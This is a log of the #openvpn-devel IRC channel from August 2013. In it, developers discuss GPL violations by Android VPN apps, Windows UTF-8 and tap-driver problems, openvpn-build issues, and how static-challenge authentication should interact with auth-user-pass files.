topic - are you reading openvpn-users? 15:54 <@plai> cron2: what will happen? Fork or wire proto rewrite? 15:56 <@plai> :( 15:56 <@pekster> cron2: Re what, the character conversion? I looked briefly at the code, but that's got more windows-fu than I cared to devote to the issue (I already had enough of a time-sink on the last "simple" Windows bug I tried to fix ;) 15:57 <@plai> I just got a question from someone with @company-that-does-android-customization about a question how to build my current code 15:57 <@cron2> pekster: the code is full of shit, but it's telling us where the issue is coming from - it's not "quoting", it's "utf-8" - d12fk promised to look into it 15:57 <@pekster> Yea, I saw the chat here earlier today (just had nothing helpful to contribute beyond what was said) 15:57 <@plai> I am almost reluctant to answer because I already have the feeling that they will violate the license 15:57 <@cron2> plai: I think James will try all he can to ensure that a change of wire proto will go with some sort of negotiation and fallback to older clients 15:57 <@cron2> (which will not make the code any prettier) 15:58 <@plai> ah okay 15:58 <@pekster> plai: If build instructions are published that work, you can get by with pointing them there. GPL says you have to release your code and tools used to build it, not "hold their hand" if they can't get it to work. BOFH style, if you get a bad-feel for the request 16:00 <@plai> pekster: yeah. build instructions are under doc/README in the source code 16:00 <@plai> pekster: just search for VPN provider apps on the Android market 16:01 <@plai> and show me one that supports android 4.x and doesn't violate my and OpenVPN's copyright 16:01 <@cron2> .oO(OpenVPN Connect) *duck* 16:02 <@cron2> plai: but yeah. Not very nice folks. 16:02 <@pekster> Google have a DMCA takedown thing? If they're in the market and you're the copyright holder to the Android code, draft something to google 16:02 <@pekster> s/market/Google Play Store/ or w/e it's called now 16:02 <@plai> cron2: oh yeah that is right. Private TUnnel VPN :) 16:03 <@pekster> I've no real issue with providers as long as installation contains the notice of OpenVPN and its GPL status, and is not linked against other stuff (I found a provider earlier this year that had an "openvpn.dll" bit _not_ from the GPL project. Clearly they linked their own crap against openvpn, then didn't publish their code, resulting in a license violation 16:05 <@plai> pekster: yeah old version of my code were BSD license which people managed to violate, I changed to my license to GPL and my code is still included those app 16:05 <@plai> With the newer class names which are GPL code ... 16:06 <@pekster> If you end up sending a DMCA notice, I'd be interested to hear how the process worked from a copyright holder standpoint 16:06 <@pekster> As the copyright holder, only you can do anything about it. IIRC fsf has some guidance documents in that regard 16:06 <@plai> yeah. But it is probably better to talk with software lawyer before doing anything 16:07 <@cron2> "let's boycott this guy, he's *so* nasty about us just sharing his software!" 16:07 <@cron2> anyway, need to go to bed -> good night folks 16:07 <@plai> cron2: good night 16:08 <@pekster> Hmm, I wonder if netsh can accept the CLSID instead of the display name of the adapter 16:09 <@pekster> (oh, still need a way to convert it if the user enters it in the config as UTF-8, ugh. Nevermind...) 16:09 <@pekster> Oh Windows... 16:10 <@plai> pekster: blaming windows for utf-8 fuckup which is a unix hack? 16:12 <@pekster> I'd need to run my test again, but ProcessExplorer in Windows (IIRC) was showing the accented character properly for the netsh.exe invocation. So the "WCHAR" version failed, but a UTF-8 should work, is the deal? My character conversion skills are a bit limited, but that feels weird 16:13 < waldner> plai: you probably already know http://gpl-violations.org/ 16:13 <@vpnHelper> Title: GPL Violations homepage - The gpl-violations.org project (at gpl-violations.org) 16:13 <@pekster> openvpn_execve() should, IIRC, already return a WCHAR for the arvg[], which I'd figure would be enough for typical int'l device names 16:13 <@pekster> But I get lost quickly after that --- Day changed Tue Aug 20 2013 00:02 -!- Hes [NaBB24W@tunkki.fi] has joined #openvpn-devel 00:06 < Hes> Thanks, everyone, for the PKCS12 intermediate cert patch merge. Looking forward to have it released and getting it into use. 00:07 <@pekster> Hes: Out of curousity, what do you use to generate your keypairs for your smartcards? 00:07 <@pekster> Oh, PKCS#12, not 11. Nevermind... 00:08 < Hes> Yeah. 02:33 -!- fields2grand [~Phil@wsip-72-200-248-82.om.om.cox.net] has quit [Ping timeout: 248 seconds] 03:50 <@plai> Hes: You can use the OpenVPN for Android app d: 03:52 <@plai> great. OpenSSL 0.9.8d does not even compile :( 03:52 <@plai> md5-x86_64.s:41: Error: 0xd76aa478 out range of signed 32bit displacement 04:03 <@mattock> expect patches to tap-windows... had to make modifications to allow changing the tap-windows adapter name and stuff 04:03 <@mattock> so that one can have several (different) tap drivers installed simultaneously 04:03 <@mattock> Alon's buildsystem did not handle that usecase at all 04:04 <@plai> [1] 2277 illegal hardware instruction (core dumped) ~/openvpn-git/openvpn --setenv FORWARD_COMPATIBLE 1 --config 04:04 <@plai> :( 04:04 <@plai> that is what you get from building with increadible outdated openssl 04:23 <@cron2> ouch 04:25 <@plai> Or I have to specify some magic flags to the configure script ... 04:30 <@plai> using the 0.9.8e is better .... 04:30 <@plai> (from the debian archive) 04:30 <@plai> Tue Aug 20 11:29:39 2013 131.234.241.112:1194 TLS: Initial packet from 131.234.241.112:1194, sid=461c3bdf 21699ac7 04:30 <@plai> Program received signal SIGSEGV, Segmentation fault. 04:30 <@plai> 0x00000000004a2c70 in X509_get_subject_name () 04:32 -!- mattock is now known as mattock_afk 04:35 < Hes> plai: Android OpenVPN already has the patch, or equivalent functionality? 05:00 <@plai> Hes: already has the patch and equivalent functionality if you are using android keystore certificates 05:03 <@plai> rebuilding with 0.9.8e works fine 05:27 < Hes> Ok, cool. 05:47 <@plai> Hes: that is not for you unless you want to debug why OpenVPN -master fails to connecto against OpenVPN 2.2.2 on mips build with a 7 year old OpenSSL 0.9.8d version :) 05:53 -!- plai [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 05:55 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 05:55 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 06:04 <@d12fk> just added a table to thehackathon page 06:12 <@plaisthos> Today I learned that trac does not lock wiki pages when editing fora few minutes 06:13 <@d12fk> manual merging madness 06:13 <@plaisthos> d12fk: yeah :/ 06:14 <@plaisthos> dazo got hijacked my edit 06:14 <@plaisthos> err dazo hijacked me 06:17 <@cron2> yeah, this is a bit surprising, I think I had a collison with plaisthos once... 08:08 <@plaisthos> getting to munich airport will take the same amount of take as does getting from munic airpot to munich itself for me 08:10 <@cron2> yeah, munich airport is a... bit... far out. OTOH, the S-Bahn goes all the way to central station, and it's just 10 minutes by Tram from there, so it's easy to find 08:12 <@d12fk> mit dem transrapid wäre das nciht passiert 08:12 <@d12fk> http://www.youtube.com/watch?v=f7TboWvVERU 08:12 <@vpnHelper> Title: Stoiber 10 Minuten Transrapid - YouTube (at www.youtube.com) 08:22 < waldner> hat er fertig? 08:37 <@cron2> yeah... I'm still not sure if I'm happy or sad that they do not build it 08:38 <@cron2> it's cool tech... but a tad expensive... and just having an ICE-like fast train that would go from central station to airport *without stopping 20x in between* would bring the trip time down to 1/3 or so 09:37 <@pekster> mattock_afk: isn't changing the name supported today? My Win32-TAP devices usually get renamed as soon as I install themm to something more useful like 'vpn0' or the like 09:38 <@plaisthos> pekster: I think he means the device name in the driver name 09:38 <@plaisthos> so you have tap devices which openvpn tap devices used by openvpn app 09:38 <@plaisthos> and mycoolopenvpnfork tap devices which are used by my cool openvpn fork 09:39 <@pekster> Oh, different drivers themselves, used concurrently 09:42 <@plaisthos> i think there is a define *somewhere* in openvpn how the driver is called for enumeration of tap devices 09:43 -!- mattock_afk is now known as mattock 09:43 <@pekster> mattock_afk: Maybe the default install patha can be changed to be under the OpenVPN installer dir too? Right now the use of nsis's /S option (how openvpn's setup calls the tap driver silently) just uses the default. f.eg, I install most apps to D:\Apps\$appname, but TAP gets dropped to the OS default of %programfiles% (on my C: drive) 09:43 <@mattock> pekster: the install path is not the issue 09:43 <@mattock> that can be changed easily 09:44 <@mattock> installing a different tap-windows driver with devcon.exe does not work if OemWin2k.inf has duplicate information (e.g. driver description and/or name) 09:45 <@mattock> and I believe that as the drivers are signed, you can't just change the (installed) OemWin2k.inf file without signature verification failures 09:45 <@pekster> Sure, but that way it's all under a single directory if people are installing >1 version concurrently. Or is use in this case supposed to know to config the install path somewhere else? 09:45 <@pekster> Erm, is the developer's usecase for this* 09:45 <@mattock> this is for debugging and such 09:46 <@mattock> and for verifying that, say, OpenVPN-based product/application <n> can coexist with the default OpenVPN install 09:46 <@pekster> Got it :) 09:48 <@mattock> anyways, it didn't require that many changes, basically just expanding existing variable-passing mechanisms in tap-windows buildsystem 09:59 * cron2 wonders how other VPN packages work that do not bring their own virtual network card - there must be some other hook (like, what dialup-network is using for PPP connections) 10:07 <@pekster> For multiple versions of the driver? Not possible if you're relying on the kernel's ppp driver support 10:14 -!- raidz_away is now known as raidz 10:28 <@cron2> pekster: I'm not sure I understand that answer...? 10:28 <@pekster> You used PPP as an example: in the Linux kernel, you'd have that support if the kernel was built with CONFIG_PPP support 10:29 <@pekster> There's no notion of an application 'bringing their own' to so speak: the kernel is expected to provide that, so all the user needs is a userland app that can talk with the ppp driver (usually included in modern "full-featured" distros anyway) 10:31 <@cron2> yeah, maybe PPP was a poor example. OTOH I'm not exactly sure what the question is :-) - except that I don't understand the windows network driver model well enough 10:32 <@pekster> Most "other VPN" apps use IPSec or a layer on top of ppp, both of which exist in the Windows kernel too as an OS feature 10:34 <@pekster> Doing things outside the APIs you get requires extra magic, often drivers. VirtualBox is an example similar to OpenVPN in that it bundles network support for all the backend needs it has that the OS can't provide 10:34 <@d12fk> shrew and cisco vpn client com ewith their own interfaces as well 10:46 <@pekster> Sure, depends if any given app's needs go beyond what the OS does (or the developer just got fed up with the win32 APIs ;) 13:04 <@cron2> mattock: two questions about openvpn-build... 1) how do I tell it to build from a git repo? 2) it's not building with snappy right now, is it? 13:04 <@mattock> 1) Try build-snapshot 13:04 <@mattock> not sure if it works 100% correctly, haven't used it in a while 13:05 <@mattock> 2) It's not yet, because I haven't had time to fix the nasty "shared library weighing 8MB" issue 13:05 <@cron2> what is build-snapshot? 13:05 <@mattock> windows-nsis/build-snapshot 13:05 <@mattock> I think it's called that 13:06 <@mattock> windows-nsis/build-complete for builds from tarballs 13:06 <@mattock> and build-snapshot for building from Git clones 13:06 <@cron2> the docs tell me to use "build" from "generic/"... 13:06 <@pekster> You can also tar up a git checkout (useful if you have local modifications) and drop that tarball in as the openvpn source 13:06 <@mattock> cron2: which docs? 13:06 <@pekster> The build script won't re-download the tarball if you supply your own with the name it's expecting 13:06 <@cron2> https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem 13:06 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 13:07 <@mattock> cron2: it depends on what you want 13:07 <@mattock> if you just want the executable then using generic/build should work 13:07 <@cron2> "build a windows binary from my git tree" 13:08 <@mattock> if you want a real installer, then use windows-nsis/build-<something> 13:08 <@cron2> nah, binary only 13:08 <@mattock> ok, then "build" should work 13:08 <@mattock> the stuff inside windows-nsis calls generic/build anyways 13:08 <@mattock> so if you ever need to create an installer, you need to make sure generic/build.vars is configured correctly 13:10 <@pekster> Oh, mattock, the nsis part fails as the license.txt isn't in the resutling build, FYI. I fix this by copying in a copy I got from the release .exe files (broke open with 7-zip) 13:10 <@pekster> the .nsi requires adding that file to display the license during install, but the file is missing from the location it's expected to be at 13:10 <@mattock> pekster: with Git checkouts? 13:11 <@pekster> Yes, as of when I last updated that VM. Did you fix that "recently" ? 13:11 <@mattock> I don't recall having that issue 13:11 <@mattock> although I may have fixed it and forgotten all about it 13:12 <@pekster> I'll re-verify my checkout of openvpn-build is up to date next time I fire up that VM and let you know if a 'clean' run still breaks 13:12 <@pekster> fwiw I'm generally building from the release tag of interest plus some patches and/or local changes from git 13:13 <@mattock> ok, if the issue persists I'll setup a new build test VM and try to reproduce it 13:13 <@mattock> good thing people are using openvpn-build :) 13:13 <@pekster> Sure, I'll let you know. Sort of annoying, but an easy fix 13:13 <@mattock> windows building has always been a pain, and now it's slightly less painful 13:13 <@mattock> compared to some of the earlier build systems 13:13 <@pekster> (Originally I tried to hack the .nsi, but that's less-trivial than copying the file in. once you get it, that is..) 13:13 <@pekster> Yea, other than tiny things like the missing txt file, it works really well 13:13 <@pekster> Your server-prereq docs are awesome too 13:14 <@cron2> *sigh*... trying to build 2.3_git with a master-autoconf (forgot autoreconf) fails in interesting ways 13:14 <@cron2> first it complains about snappy, then it bombs trying to compile comp.c... 13:16 <@mattock> pekster: thanks, I don't want to remember that stuff myself, so I write it down :P 13:16 <@mattock> and make some simple scripts 13:19 <@cron2> now if I could remember which VM I use for OpenVPN windows tests... 13:20 <@cron2> aw shit 13:20 <@cron2> could someone teach the build stuff to not-rebuild openssl if "configure" fails for openvpn??? 13:21 <@cron2> (it was missing --disable-snappy - added that to build.vars, re-ran build, now it's starting all over...) 13:25 <@mattock> cron2: welcome to my world :D 13:25 <@mattock> I've been thinking of splitting the build into steps, and allowing resume 13:25 <@mattock> usually a few build failures is fine, but when testing stuff it's fairly painful 13:26 <@pekster> Either ersume, or maybe even a ./build -depsonly or ./build -openvpn 13:26 <@pekster> or w/e 13:26 <@cron2> mattock: yeah, resume would be good - and not that hard ("touch openssl_succeeded" and if that exists, don't launch openssl build...) 13:26 <@cron2> and then maybe snappy for windows gets done quicker :-) 13:26 <@pekster> That would work too, maybe with a flag to ignore all foo_succeeded files. Skin the cat in your preferred way :) 13:27 <@mattock> yeah, and as long as one doesn't change any settings for the already built stuff it should be safe 13:27 <@pekster> Or maybe I'll hack at it next time I get annoyed if I need to do several successive builds (takes ~11 minutes on my VM) 13:27 <@cron2> ok, configure succeed... *hold breath* 13:27 <@mattock> pekster: I definitely wouldn't mind you doing that :P 13:27 <@pekster> Getting annoyed, or fixing it ;) 13:28 <@cron2> cool, looks like it actually built openvpn 13:28 <@cron2> -rwxr-xr-x 1 gert gert 705024 Aug 20 20:31 ./image-win32/openvpn/bin/openvpn.exe 13:28 <@mattock> fixing it :D 13:28 <@mattock> cron2: congratulations! 13:28 <@cron2> \o/ 13:29 * cron2 still can't remember which of the bazillion windows VMs was the one used to *test* openvpn... 13:32 < waldner> (sorry to switch topic) do people think this is a bug: if one runs with "auth-user-pass somefile.txt" + "static-challenge foo 1", user+pass are read from the file but the user is not prompted for the response to the challenge 13:38 < waldner> same if running with management-query-passwords, the response to the challenge is never asked 14:19 <@vpnHelper> RSS Update - testtrac: Always load intermediate certificates from a PKCS#12 file <https://github.com/OpenVPN/openvpn/commit/6481f879eb62cafa6ad652801b2b5c45e546ef44> || Add a note what setenv opt does for OpenVPN < 2.3.3 <https://github.com/OpenVPN/openvpn/commit/39dad37d5b13c4dc0614ab7b19fdae88c23de0a2> || Add support to ignore specific options. <https://github.com/OpenVPN/openvpn/commit/b685a1e6b012682ce7d6fb31960273b8f5213714> | 14:34 <@pekster> waldner: Without looking at the code, maybe you need --management-query-passwords too? 14:39 <@pekster> On an unrelated note, who's in charge (has access) to the openvpn.net community documentation page? The initial links under "Manuals" link to 2.1 and 2.0.x, and then even the 'Manuals' link lists them in oldest-to-latest order. Can we get links to 2.3 on the main URL layout? 15:02 <@mattock> pekster: in practice I'm the guy who fixes stuff on openvpn.net 15:02 <@mattock> I can check if adding 2.3 to the manuals list would be doable, but those lists are generated from categories (e.g. "Manuals" category) in Joomla 15:03 <@mattock> and as 2.3 man-page is not directly on openvpn.net for other technical reasons (=pain trying to get it to format correctly), I might have to make the manuals list static 15:03 <@mattock> -> TODO 15:03 <@pekster> Ah, I see. Or perhaps just remove the Joomla stuff completely? 15:03 <@mattock> yeah 15:03 <@pekster> The manuals page has links to the relevant manuals, including the more-appropriate 2.3 listing 15:04 <@cron2> ecrist/krzee: vpnhelper is doing it again 15:04 <@cron2> this is old news 15:11 < waldner> pekster: as I said, using --management-query-password foes the same (buggy imho) thing 15:12 < waldner> -1s/fo/do/ 15:12 <@pekster> Oh, missed that part 15:12 <@pekster> Does it prompt for the input on stdin then? 15:12 < waldner> neither 15:13 < waldner> in the code, I see that it prompts for the challenge/respone (either on stdin or the management) only if auth-user-pass comes from stdin and not a file 15:13 < waldner> perhaps I didn't make myself clear 15:13 <@pekster> Oh, this is on your client? 15:14 < waldner> the behavior definitely *is* what I described, since I'm looking at the code 15:14 <@pekster> You won't ever use both --user-auth-pass with --static-challange . The first would be used on a client, the 2nd on a server 15:14 < waldner> I was asking for opinions whether it's a bug (I think it is) 15:15 <@pekster> The client isn't challanging the server; the server is challenging the client 15:15 < waldner> pekster: that's what I thought too before getting mad looking at the code 15:15 <@pekster> I don't think it's a bug at all; what possible reason would the client have for needing a challanage response from the server that the TLS checks don't already offer? 15:15 < waldner> my tests indicate that static-challenge on the server does absolutely nothing at all. 15:15 < waldner> I'd be glad to be proved wrong, though 15:16 <@pekster> Did you set up a relationship as described in the management-notes.txt documentation? 15:16 <@pekster> usecases are more helpful then "I've stared at the code and I think its buggy" 15:17 < waldner> I think I've read that page a few tens times now 15:17 < waldner> what do you mean by "relationship"? 15:17 < waldner> (and yes of course I have a lab where I'm testing) 15:17 <@pekster> More useful is "a setup like this [reference to config of client & server, & associated auth scripts used] doesn't work, I expected X to happen, but Y happens." For bonus points, point to code sections/functions/whatever where you think the problem is, but that's not required for a "user-level" bugreport 15:18 < waldner> sure, I can paste all the configs 15:19 < waldner> (and I think static-challenge is for a client also because the function that prompts for it is the same that prompts for auth-user-pass) 15:20 <@pekster> No, that's described very clearly in the protocol docs 15:20 <@pekster> The server is the one sending the challange to the client 15:20 <@pekster> Oh, hmm, I guess that's wrong too :) 15:22 < waldner> I don't find it clear at all 15:22 <@pekster> Yea, that --static-challange appears to only send a static reply back to the server; this will, AFAIK, only happen if the server sends a CRV1 request after initial authentication 15:23 < waldner> what I understand is the result of my tests 15:23 < waldner> no, that --static-challenge is what prompts the *client* *locally* for the response to the static challenge 15:23 < waldner> then what the client enters is sent to the server, which can verify it via script or whatever 15:24 < waldner> at least that's what I've seen in the tests, as I said it's clear as mud to me and more info is always welcome 15:24 <@pekster> Yea, I mistook the static for the dynamic bit :\ 15:25 <@pekster> (ie: wondering how your client was "initiating" the challange) 15:25 <@pekster> So, yes, the bit about the 'Static Protocol' does indeed suggest the management interface will "respond as such when credentials are needed" ... but apparently that's not happening? 15:26 <@pekster> Ah, okay, so the reply to the prompt contains *both* 15:26 < waldner> configs: http://pastebin.com/raw.php?i=M1ikVdAe 15:26 <@pekster> It's a single reply taht muxes them both together in base64 15:27 < waldner> yes 15:28 <@pekster> You can't possibly be prompted for "one but not the other" in that format. Or do you mean the management prompt never gives you this bit: `PASSWORD:Need 'Auth' username/password SC:<ECHO>,<TEXT> 15:28 < waldner> here are the two cases: 15:29 < waldner> if you have auth-user-pass set to read from stdin, and static-challenge blah, then you are prompted on stdin for username, password, and response 15:29 < waldner> correct, afaict 15:29 < waldner> if, in addition, you have management-query-passwords, you are prompted for the same info in the management interface 15:29 < waldner> again correct, I think 15:30 < waldner> in the management, you have to enter the password + the challenge reply together and encoded, as explained in the doc 15:30 < waldner> but that's ok, as it's usually done by an application 15:30 < waldner> we're still talking about three pieces of information: user, pass, response 15:31 <@pekster> Oh, now I think I see 15:31 < waldner> now there's an option to read username and password (but not response) from a file 15:31 < waldner> and it's done with auth-user-pass somefile.txt 15:31 <@pekster> The management method is expecting "all bits" to be supplied directly into the management interface 15:31 < waldner> if I do that, then I'd expect openvpn to take user/pass from the file, but still prompt for the challenge 15:31 <@pekster> Not de-coupling the user/pass from the response 15:31 < waldner> pekster: yes 15:32 < waldner> (it took me a while to figure out though) 15:32 <@pekster> Less of a "bug" and more of a "possibly useful feature" IMO 15:32 <@pekster> What's stopping your application from reading the external file in this case? 15:32 < waldner> it's openvpn that reads the file 15:32 < waldner> to avoid prompting the user for user/pass 15:32 <@pekster> That feels like a cleaner solution, but perhaps openvpn could gracefully error out or handle the situation 15:33 <@pekster> Yes. BUt what stops your application using the --management interface from doing it when you are using the management interface? 15:33 <@cron2> *sigh* 15:33 < waldner> perhaps I'm not being clear 15:33 <@cron2> built a nice and shiny openvpn.exe from the wrong git branch 15:33 <@pekster> No, I think you are. Why does it matter "what' high-level program reads the user file? 15:34 < waldner> it's not *what* program, that file is read *exclusively* by openvpn 15:34 <@pekster> Not if you do fopen($file) from your own app 15:34 < waldner> sure, but why should I? 15:34 <@pekster> Becuase code in openvpn doesn't support it ;) 15:34 < waldner> I'm using it as written on the tin, I don't want my app to read it 15:34 < waldner> my app only would interact with the management 15:35 < waldner> I'm moving from a situation where the user (or the app interacting with the management) supplies all three pieces of information (user, pass, response)... 15:35 <@pekster> And really, storing passwords in a plaintext file and *then* wanting to "improve security" with --response is a bit silly. Two steps backwards, one step forwards in terms of security 15:36 < waldner> ...to a situation where I want openvpn to read two of them from a file, which it supports 15:36 < waldner> pekster: that's not the point 15:36 <@pekster> But yes, a patch could in theory fix that, and if you'd like to hack at it, a contribution to the ML would likely yield some discussion on committing it 15:36 < waldner> so you agree it's a bug? 15:36 <@pekster> I just think it's a slightly silly thing to want 15:36 < waldner> perhaps yes 15:36 <@pekster> <@pekster> Less of a "bug" and more of a "possibly useful feature" IMO 15:37 <@pekster> I can't think of any sane reason to want that, from a security point of view 15:37 < waldner> from a security point of view, then you also don't want to store a password in the file, but as I said it's not the point 15:39 * pekster shrugs. Feel free to open a bugreport if you want, but my gut feeling is that there won't be a lot of interest in fixing it unless you plan to do much of the work in authoring a fix 15:39 < waldner> and I'm in fact working on a patch that would allow to only put the username in the file and being prompted for the password 15:39 <@pekster> Maybe someone has more interest than I do, but it's not a combination of features I think I'm ever likely to want or promote the use of 15:39 < waldner> indeed, see above 15:40 < waldner> my goal is to allow supplying only the username from file, and still be prompted for password 15:40 < waldner> but before I am able to do that, I need to understabd how it works *now* 15:40 < waldner> hence the tests 15:41 < waldner> as it stands now it's all or nothing: you either supply user *and* pass both from a file, or both interactively 15:42 <@pekster> Fixing that was discussed recently and thought of as a generally good idea 15:42 < waldner> which is a bit annoying because the username is always the same 15:42 < waldner> yes 15:42 < waldner> it was agreed to do it via inlining of the file that would be otherwise supplied as argument to auth-user-pass 15:42 <@pekster> Allowing only the user to be specified via `--user-auth-pass user $external-file` syntax -- a patch for this feature would need to continue prompting on the mgmt interface if the password is to be queried there 15:43 <@pekster> Yes, inline or not doesn't matter 15:43 < waldner> right 15:43 < waldner> well,inlining would be an extra feature 15:43 <@pekster> But yes, a patch for this will, I expect, need to keep the *current* documented behaviour of "everything that's not supplied comes in via the --management interface" 15:43 < waldner> which it doesn't 15:44 < waldner> as I said at the very beginning 15:44 < waldner> hence I think it's a bug 15:44 <@pekster> The patch for this feature hasn't been authored yet 15:44 < waldner> no 15:44 <@pekster> You want username via file, and pass+challenge response over --managemnt, right? 15:44 <@pekster> That will be supported fine if this patch is authored properly 15:44 < waldner> or stdin 15:45 <@pekster> or stdin, if --managemnet-query-passwords is not supplied, right 15:45 <@pekster> It simply won't ask for the 'Auth' username 15:45 <@pekster> Only the 'Auth' password 15:45 < waldner> or user+pass via file, and response via stdin or management <--- this isn't happening right now and I think it should 15:45 <@pekster> That's not how the Static protocl is currently documented to work, no. 15:46 <@pekster> Again, author a patch if you want it changed, or open a bugreport and hope someone finds it more useful than I do 15:46 < waldner> sure, as soon as I understand as it works :) 15:46 < waldner> *how 15:46 < waldner> or how it's supposed to 15:46 <@pekster> I wouldn't call this a bug since it's not documented to work like that in the first place 15:47 <@pekster> As it stands today, the static challenge protocol is inherently designed to mux together the password and response 15:47 < waldner> it's not documented at all, but reading the (scarce) docs that's how I'd expect it to work 15:47 <@pekster> Maybe you don't like it, but the code is doing exactly what I read in the 'Static protocol:' part of the management notes 15:47 < waldner> only if sent via management 15:47 < waldner> if promted on stdin, it prompts three times 15:48 < waldner> and only after the user has entered all three pieces of information, it creates the SCRV1: string and sends it to the server 15:48 <@pekster> Right. I think the deal is this feature was never intended to be used outside of the managemnet interface strictly 15:49 < waldner> then the bug is that it allows to 15:49 <@pekster> Use stdin? I just don't know of anyone using it like that 15:49 < waldner> I use it for username+password and find it convenient 15:50 <@pekster> I meant for the challenge/response stuff 15:50 < waldner> well, if you're already entering user+pass, I don't see why you'd wanted to be prompted for the challenge somewhere else 15:51 <@pekster> Yes, my thoughts exactly. You're arguing really hard that it should so that 15:51 <@pekster> do* 15:52 < waldner> no 15:52 <@pekster> You said what is broken is user+pass via file and static response via managment is broken. This is via "somewhere else" 15:52 < waldner> I'm arguing that if you supply username or username + password via a file, then it should still prompt for the missing piece of information, and it doesn't 15:53 < waldner> neither on stdin nor in the management 15:53 <@pekster> Yup. I get it. I just don't think it's useful. If what you really want is username from file and pass+response via any one place (stdin _OR_ management) then this will be supported when the not-yet-designed inline user-auth-pass support is written 15:54 < waldner> yes, so I'm going to add it (hopefully) 15:54 < waldner> it's not that it's useful or not, it's that if you are not prompted it's impossible to authenticate to the server 15:55 < waldner> so you are forced to go back to interactively entering stuff 15:57 < waldner> perhaps it's best discussed during a meeting 15:58 <@pekster> Sure, again, someone else might see this as a real benefit to a specific workflow that I'm not connecting with. I'm not against the feature, I'm just not for it (a "+0" as it were) 15:59 < waldner> my ultimate goal really is to automate supplying the username (and only that) 15:59 <@pekster> My logic: if you care enough about security to be using challenge-response, you have no business storing the password in a file." And remember, support for user -> file, pass+response -> (stdin || management) was already agreed on by a few folks here as useful. I see that 15:59 <@pekster> I already told you that was previously discussed and basically blessed 16:00 <@pekster> So if that's *all* you want, "yes, it was discussed and thought of as a good thing." 16:00 <@pekster> Can we stop re-hashing that bit now? 16:01 < waldner> I think that to get there, the issue I described already too many times will have to be fixed as well 16:02 <@pekster> Um, huh? You want user in a file, so you "also" have to add support at doesn't to just that? Strange logic 16:03 < waldner> user and password in a file is *already* supported 16:03 < waldner> and there's nothing to prevent people doing that, and using a static challenge 16:03 <@pekster> Right. user-only won't change where the pass+response is entered if you author your patch properly 16:03 < waldner> so we either prevent people doing that (which is fine by me), or if we allow it, it has to work correctly. Do we agree on this? 16:07 <@pekster> They're 2 separate issues. Issue 1 is supporting inline files and including support for user-name only via file. Issue 2 is using a user-file (inline or not) with Challenge/Response. I like the idea of fixing #1. I don't care about #2, but don't think it's a bad idea (just not useful) 16:07 <@pekster> Doing #1 "right" does not have any relationship with #2 16:07 <@pekster> You want both, but the features are not dependent on each other 16:07 < waldner> #3 supplying username-only via file 16:08 <@pekster> I already included that in #1 16:08 < waldner> which critically changes the way code works currently 16:08 <@pekster> I guess it really is a "third" independent issue :) 16:08 <@pekster> Yea, it's assumed right now that both come together, no doubt 16:08 < waldner> from a functional point of view perhaps, but in the code it's all almos inextricably intertwined 16:11 < waldner> the code as it stands assumes all-or-nothing, that is, that either both things are supplied via file or both via stdin, which means that things are done in a certain order based on that assumption, which will no longer be true 16:12 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 16:13 <@pekster> Right. The structure holding the user (when reading user but prompting for pass) will have defined one but not the other. Then code where both would normally be prompted need to support omitting the user but prompt for the pass still and add that data to the structure 16:14 < waldner> yes, that too, there's a .defined member which will probably need to change 16:15 < waldner> and to top it up, that function is also a bit overloaded with a variety of flags and invoked from other places (for example, to prompt for private key password) 16:16 <@pekster> Yea, in some places the code is complex, in other brilliant, and if you're unlucky, both at once ;) 16:16 < waldner> that's probably it :) 16:17 <@pekster> Lots of functions end up being used from 'multiple places' under the original goal of re-using code and not re-writing shared parts. In some cases (many series of patches later) some of it is probably "too complex" now, but fixing it would take more time than "getting the next patch/support" added. So it continues. 16:17 < waldner> how true 16:17 < waldner> it's not a openvpn-only thing, of course 16:19 <@pekster> Anyway, good luck. tl;dr here is "yes, you probably want all 3 features we noted", but remember that they don't (directly) depend on one-another. In fact, it might make everything cleaner in the code to add support one-at-a-time if the changes end up impact a lot of places 16:20 <@pekster> Depends on what needs to change, and I only know some of it (you've clearly spent more time checking that out so far) 16:20 <@pekster> It's easier to review a 3-part-patchset than try to figure out "what feature this block of code change is supposed to fix" 16:21 < waldner> agreed on that, I'll try to structure it that way if at all possible 16:22 < waldner> I'd still like to discuss corner cases like the one I found during a meeting, though 16:23 < waldner> so at least if something need to be fixed there's consensus on how the fix should behave 16:25 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 16:40 <@pekster> Sure, but they're all 3 separate issues. By all means let's bring them up 16:40 <@pekster> Your "corner case" is a when 1 or 2 of the 3 are implemented but not all 3 16:41 < waldner> it's not the only one 16:41 < waldner> but I won't annoy you with the others 16:45 <@pekster> matting (if you're still semi-coordinating the meeting announcements): No urgency, but tl;dr here is that the inline --auth-user-pass stuff has some tertiary bits involved that we might want to add to the next scheduled meeting. Integration with support for Challenge/Response and handling user but no pass are among some of the muddier points 16:45 <@pekster> mattock: ^^ that typo was supposed to be your nick (see meeting topic info) 19:45 -!- raidz is now known as raidz_away --- Day changed Wed Aug 21 2013 01:00 <@mattock> waldner: maybe we should arrange a meeting tomorrow? 02:13 < waldner> mattock: that would be great 02:13 < waldner> was a meeting already scheduled for tomorrow? 02:28 <@cron2> mattock: we could do that. I'm at home and can make myself available 03:11 -!- Netsplit *.net <-> *.split quits: @mattock 03:12 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:12 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:18 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 07:50 <@ecrist> what is vpnHelper doing, cron2? 07:50 -!- Irssi: #openvpn-devel: Total of 22 nicks [9 ops, 0 halfops, 2 voices, 11 normal] 08:48 <+krzee> reporting the rss even though nothing is new 08:49 <@ecrist> odd 09:02 <+krzee> especially weird since it did not used to do that 09:03 <+krzee> did it get a recent upgrade or something? 09:06 <@ecrist> nope 10:24 -!- raidz_away is now known as raidz 11:46 <@vpnHelper> RSS Update - tickets: #319: Windows-Tap-Driver-Certificate expired on 21st August 2013 <https://community.openvpn.net/openvpn/ticket/319> 12:45 <@vpnHelper> RSS Update - tickets: #320: "Add a new TAP-Windows virtual ethernet adapter" doesn't exist anymore <https://community.openvpn.net/openvpn/ticket/320> 